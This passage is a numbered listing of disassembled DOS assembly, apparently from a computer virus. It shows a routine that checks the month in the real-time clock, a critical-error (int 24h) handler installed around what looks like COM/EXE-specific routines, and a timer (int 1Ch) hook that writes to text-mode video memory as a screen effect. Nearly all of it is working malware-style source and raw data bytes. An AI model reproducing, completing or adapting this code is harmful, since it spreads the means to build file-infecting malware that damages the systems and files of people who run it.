  798. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  799.  
  800. sub_14        proc    near
  801.         push    ax
  802.         push    cs
  803.         pop    ds
  804.         push    cs
  805.         pop    es
  806.         mov    bl,data_41
  807.         cmp    bl,0Ch
  808.         ja    loc_37            ; Jump if above
  809.         cmp    bl,0
  810.         je    loc_37            ; Jump if equal
  811.         mov    al,8
  812.         out    70h,al            ; port 70h, RTC addr/enabl NMI
  813.                         ;  al = 8, month register
  814.         in    al,71h            ; port 71h, RTC clock/RAM data
  815.         cmp    al,0Ch
  816.         ja    loc_37            ; Jump if above
  817.         cmp    al,0
  818.         je    loc_37            ; Jump if equal
  819.         cmp    al,bl
  820.         je    loc_37            ; Jump if equal
  821.         inc    bl
  822.         call    sub_15
  823.         cmp    al,bl
  824.         je    loc_37            ; Jump if equal
  825.         inc    bl
  826.         call    sub_15
  827.         cmp    al,bl
  828.         je    loc_37            ; Jump if equal
  829.         pop    ds
  830.         call    sub_17
  831.         push    cs
  832.         pop    ds
  833.         retn
  834.  
  835. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  836.  
  837. sub_15:
  838.         cmp    bl,0Ch
  839.         jbe    loc_ret_36        ; Jump if below or =
  840.         sub    bl,0Ch
  841.  
  842. loc_ret_36:
  843.         retn
  844. loc_37:
  845.         pop    ax
  846.         retn
  847. sub_14        endp
  848.  
  849.  
  850. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  851. ;                   SUBROUTINE
  852. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  853.  
  854. sub_16        proc    near
  855.         mov    dx,offset int_24h_entry
  856.         mov    ax,2524h
  857.         int    21h            ; DOS Services  ah=function 25h
  858.                         ;  set intrpt vector al to ds:dx
  859.         cmp    byte ptr data_53,43h    ; 'C'
  860.         jne    loc_38            ; Jump if not equal
  861.         call    sub_4
  862.         jmp    short loc_39
  863.         db    90h
  864. loc_38:
  865.         call    sub_5
  866. loc_39:
  867.         push    ds
  868.         mov    dx,data_40
  869.         mov    ax,data_39
  870.         mov    ds,ax
  871.         mov    ax,2524h
  872.         int    21h            ; DOS Services  ah=function 25h
  873.                         ;  set intrpt vector al to ds:dx
  874.         pop    ds
  875.         retn
  876. sub_16        endp
  877.  
  878.  
  879. ;██████████████████████████████████████████████████████████████████████████
  880. ;
  881. ;            External Entry Point
  882. ;
  883. ;██████████████████████████████████████████████████████████████████████████
  884.  
  885. int_24h_entry    proc    far
  886.         mov    al,3
  887.         iret                ; Interrupt return
  888. int_24h_entry    endp
  889.  
  890.  
  891. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  892. ;                   SUBROUTINE
  893. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  894.  
  895. sub_17        proc    near
  896. ;*        mov    dx,offset loc_47    ;*
  897.         db    0BAh,0B0h, 06h
  898.         mov    ax,251Ch
  899.         int    21h            ; DOS Services  ah=function 25h
  900.                         ;  set intrpt vector al to ds:dx
  901.         mov    byte ptr ds:data_56e,90h
  902.         nop
  903.         mov    ax,0B800h
  904.         mov    es,ax
  905.         mov    di,data_55e
  906.         mov    ax,720h
  907.         mov    cx,0Bh
  908.         repne    stosw            ; Rep zf=0+cx >0 Store ax to es:[di]
  909.         push    cs
  910.         pop    es
  911.         retn
  912. sub_17        endp
  913.  
  914.         db    0, 0
  915. data_48        db    0
  916. data_49        dw    720h
  917. data_50        db    0Fh
  918.         db     0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
  919.         db     0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
  920.         db     0Ah, 0Fh, 08h,0FEh, 0Eh
  921. data_51        db    0EEh
  922.         db    0Ch
  923. data_52        db    90h
  924.         db    0FBh, 50h, 51h, 52h, 53h, 55h
  925.         db     56h, 57h, 1Eh, 06h, 0Eh, 1Fh
  926.         db    0EBh, 0Bh, 90h
  927. loc_40:
  928.         pop    es
  929.         pop    ds
  930.         pop    di
  931.         pop    si
  932.         pop    bp
  933.         pop    bx
  934.         pop    dx
  935.         pop    cx
  936.         pop    ax
  937.         iret                ; Interrupt return
  938.         db    0B8h, 00h,0B8h, 8Eh,0C0h
  939.         db    0BFh,0A0h, 0Fh
  940.         db    0BEh, 9Ah, 06h,0B9h, 16h, 00h
  941.         db    0F2h,0A4h, 80h, 3Eh,0AEh, 06h
  942.         db    0EEh, 74h, 08h,0C6h, 06h,0AEh
  943.         db     06h,0EEh,0EBh, 06h, 90h
  944. loc_42:
  945.         mov    data_51,0F0h
  946. loc_43:
  947.         mov    ax,es:[di]
  948.         mov    ah,0Eh
  949.         mov    data_49,ax
  950.         mov    data_48,0
  951.         jmp    short loc_40
  952.         db    0BFh, 00h, 00h
  953. loc_44:
  954.         mov    si,offset data_50
  955.         push    di
  956.         mov    cx,12h
  957.         cld                ; Clear direction
  958.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  959.         pop    di
  960.         jz    loc_45            ; Jump if zero
  961.         inc    di
  962.         inc    di
  963.         cmp    di,0FA0h
  964.         jne    loc_44            ; Jump if not equal
  965.         mov    di,0
  966. loc_45:
  967.         cmp    di,0F9Eh
  968.         jne    loc_ret_46        ; Jump if not equal
  969.         mov    data_52,0CFh
  970.  
  971. loc_ret_46:
  972.         retn
  973. data_53        db    43h
  974.         db     0Ch, 0Ah, 45h, 00h,0CBh, 87h
  975.         db    0BFh, 1Dh, 25h, 1Eh, 57h, 9Ah
  976.         db     83h, 00h,0CBh, 87h,0E8h
  977.         db    2Eh
  978.  
  979. seg_a        ends
  980.  
  981.  
  982.  
  983.         end    start
  984.